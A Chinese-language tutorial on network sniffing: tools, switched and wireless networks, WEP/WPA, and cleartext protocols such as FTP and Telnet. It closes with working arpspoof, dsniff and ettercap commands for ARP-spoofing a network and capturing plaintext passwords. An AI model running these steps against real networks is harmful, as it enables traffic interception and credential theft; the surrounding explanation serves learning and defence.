嗅探器（網路分析器）能監控、解碼網路傳輸，網管用於診斷故障，攻擊者則竊取明文傳輸的帳號密碼。本文系統介紹常見工具、網路基礎、交換式網路嗅探技術、無線網路風險、不安全協議與實戰範例。

常見嗅探工具

• NAI Sniffer： 商業解決方案。
• Wireshark (原 Ethereal)： 開源圖形化，跨平台支援 Linux/Windows。
• TCPDump： 開源命令列工具，適用 Unix-like 系統。
• WinDump： TCPDump Windows 移植版。

網路基礎：共享媒介與交換式網路

傳統乙太網採匯流排拓撲，所有節點共享媒介，使用 CSMA/CD 協調傳輸。網卡預設只處理目的 MAC 為自身的封包；啟用「混雜模式」後可監聽全線流量。

為降低碰撞與被嗅探風險，現代網路多改用交換器。交換器學習 MAC-埠對應，單播封包僅轉發至目標埠，大幅降低碰撞並提升頻寬。但攻擊者仍可利用「鏡像埠」或 ARP 欺騙繞過交換器隔離。

無線網路嗅探特殊性

WiFi (802.11) 類似共享媒介，所有裝置可見彼此傳輸。有線網卡混雜模式支援良好，但無線晶片（如 Intel IPW2200）未必支援。Linux 下若晶片支援，可啟用「監聽模式」直接截取原始電波封包，無需關聯 AP 且不留痕跡。

WiFi 加密協議與嗅探難度

• WEP： 知金鑰且支援混雜模式即可幾乎完全解密。
• WPA： 知密碼仍難解密非參與會話封包，但可透過 ARP 欺騙等中間人攻擊獲取路由資料。

合法用途與不安全協議

網管可用嗅探器發現佔用頻寬異常、配置錯誤、惡意軟體流量、伺服器異常傳輸。Wireshark 免費、跨平台、文檔豐富，適合管理員學習。

FTP、Telnet、POP3、SMTP、HTTP Basic Auth 等協議仍以明文或弱加密傳輸憑證，應改用 SFTP、SSH、HTTPS 替代。Cain（Windows）、Dsniff、Ettercap（Unix/Windows）具強大密碼提取能力。

ARP 欺騙/ARP 病毒實戰

ARP 將 IP 解析為 MAC。攻擊者利用 Arpspoof (Dsniff)、Ettercap、Cain 欺騙網路主機，將流量導向自身進行嗅探。即使使用交換器，從開機光碟啟動即可輕易實施。Ettercap 甚至能代理 SSL/SSH 連線竊取密碼（用戶常忽略憑證警告）。

Dsniff + Arpspoof 實作步驟

1. 啟用 IP 轉發：echo 1 > /proc/sys/net/ipv4/ip_forward (Linux) 或 sysctl -w net.inet.ip.forwarding=1 (BSD)。
2. 雙向 ARP 欺騙：
   arpspoof -t 192.168.1.1 192.168.1.2 > /dev/null
arpspoof -t 192.168.1.2 192.168.1.1 > /dev/null
3. 啟動嗅探：dsniff 即時顯示明文密碼；完整封包可搭配 TCPDump/Wireshark。
4. 停止攻擊：killall arpspoof。

Ettercap 全自動模式

ettercap -T -q -M ARP // // 對全網主機執行 ARP 欺騙並監聽所有節點通訊。大型網路慎用，避免單點流量過載導致效能瓶頸。